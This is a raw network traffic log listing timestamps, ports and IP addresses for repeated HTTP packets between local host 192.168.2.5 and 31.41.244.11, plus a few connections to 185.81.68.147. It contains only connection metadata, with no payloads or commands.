Dec 14, 2024 14:56:29.692219973 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.692257881 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.692289114 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.692322016 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.693342924 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.693382025 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.693411112 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.693444967 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.694451094 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.694485903 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.694560051 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.694595098 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.695559978 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.695636988 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.695673943 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.696789980 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.696837902 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.696892977 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.696928024 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.697798014 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.697835922 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.697916985 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.697951078 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.698961020 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.698996067 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.699075937 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.699110985 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.700062990 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.700103998 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.700182915 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.700215101 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.701162100 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.701194048 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.701267958 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.701301098 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.702239037 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.702275038 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.702398062 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.702430964 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.703399897 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.703500032 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.703533888 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.704463959 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.704611063 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.704642057 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.705615997 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.705713034 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.705746889 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.706724882 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.706777096 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.706803083 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.706837893 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.707813978 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.707895994 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.707922935 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.707953930 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.708925962 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.708981037 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.709017992 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.709055901 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.710043907 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.710149050 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.710181952 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.711153030 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.711199999 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.711267948 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.711301088 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.712274075 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.712330103 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.712362051 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.712397099 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.713385105 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.713428020 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.713495970 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.713531971 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.714570999 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.714663982 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.714699984 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.715614080 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.715792894 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.715828896 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.716739893 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.716773987 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.716847897 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.716882944 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.717839956 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.717874050 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.717904091 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.717938900 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.719018936 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.719060898 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.719139099 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.719356060 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.720061064 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.720094919 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.720175028 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.720206976 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.721183062 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.721216917 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.721333027 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.721365929 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.722289085 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.722323895 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.722408056 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.722444057 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.723422050 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.723552942 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.723586082 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.724546909 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.724649906 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.724687099 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.725673914 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.725733042 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.725836039 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.725868940 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.726788998 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.726823092 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.726897001 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.726933956 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.727876902 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.727914095 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.728002071 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.728214025 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.728984118 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.729026079 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.729087114 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.729119062 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.730123997 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.730159998 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.730218887 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.730254889 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.731225967 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.731456995 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.731492996 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.732364893 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.732403994 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.732458115 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.732494116 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.733437061 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.733473063 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.733546972 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.733583927 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.734551907 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.734589100 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.734663963 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.735682964 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.735718966 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.735802889 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.735835075 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.736807108 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.736846924 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.736921072 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.736957073 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.737884998 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.737921953 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.738030910 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.738064051 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.739022970 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.739059925 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.739135027 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.739167929 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.750853062 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.873436928 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.873704910 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.873759031 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.873900890 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.873941898 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.874002934 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.874039888 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.875030041 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.875068903 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.875153065 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.875209093 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.876221895 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.876281977 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.877271891 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.877329111 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.877332926 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.877368927 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.877938986 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.877979994 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.878005028 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.878038883 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.878989935 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.879029036 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.879120111 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.879156113 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.880070925 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.880108118 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.880191088 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.880227089 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.881247997 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.881284952 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.881350994 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.881385088 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.882303953 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.882339954 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.882400036 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.882435083 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.883404016 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.883527040 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.883563995 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.884535074 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.884571075 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.884645939 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.884687901 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.885667086 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.885704041 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.885771036 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.885806084 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.886846066 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.886931896 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.886965990 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.887901068 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.888020992 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.888060093 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.889002085 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.889036894 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.889100075 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.889133930 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.890104055 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.890139103 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.890203953 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.890237093 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.891252995 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.891359091 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.891402006 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.892357111 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.892396927 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.892472029 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.892510891 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.893435955 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.893474102 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.893591881 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.893626928 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.894572020 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.894613028 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.894664049 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.895216942 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.895673990 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.895711899 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.895783901 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.896630049 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.896800041 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.896898031 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.896924019 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.896934986 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.897892952 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.897928953 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.898001909 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.898035049 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.899012089 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.899056911 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.899126053 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.899260044 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.900157928 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.900198936 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.900218964 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.900506020 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.901237965 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.901273966 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.901355028 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.901905060 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.902376890 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.902482986 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.902515888 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.903474092 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.903511047 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.903603077 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.903857946 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.904576063 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.904613018 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.904683113 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.905740023 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.905772924 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.905905962 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.905911922 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.905936956 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.906852007 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.906919003 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.906923056 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.907032967 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.907923937 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.907954931 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.908015966 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.908073902 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.909035921 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.909074068 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.909147024 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.909185886 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.910150051 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.910255909 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.910290956 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.911262035 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.911300898 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.911371946 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.911406994 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.912426949 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.912461042 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.912544012 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.912581921 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.913492918 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.913527966 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.913600922 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.913640022 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.914611101 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.914659023 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.914690971 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.914726019 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.915736914 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.915783882 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.915806055 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.915923119 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.916884899 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.916933060 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.916984081 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.917018890 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.917969942 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.918009996 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.918041945 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.918078899 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.918745995 CET	49870	1912	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.919064999 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.919107914 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.919172049 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.919214964 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.920187950 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.920289040 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.920320988 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.920341015 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.921303034 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.921343088 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.921397924 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.921437979 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.922497988 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.922545910 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.922617912 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.923527956 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.923573971 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.923628092 CET	80	49876	31.41.244.11	192.168.2.5
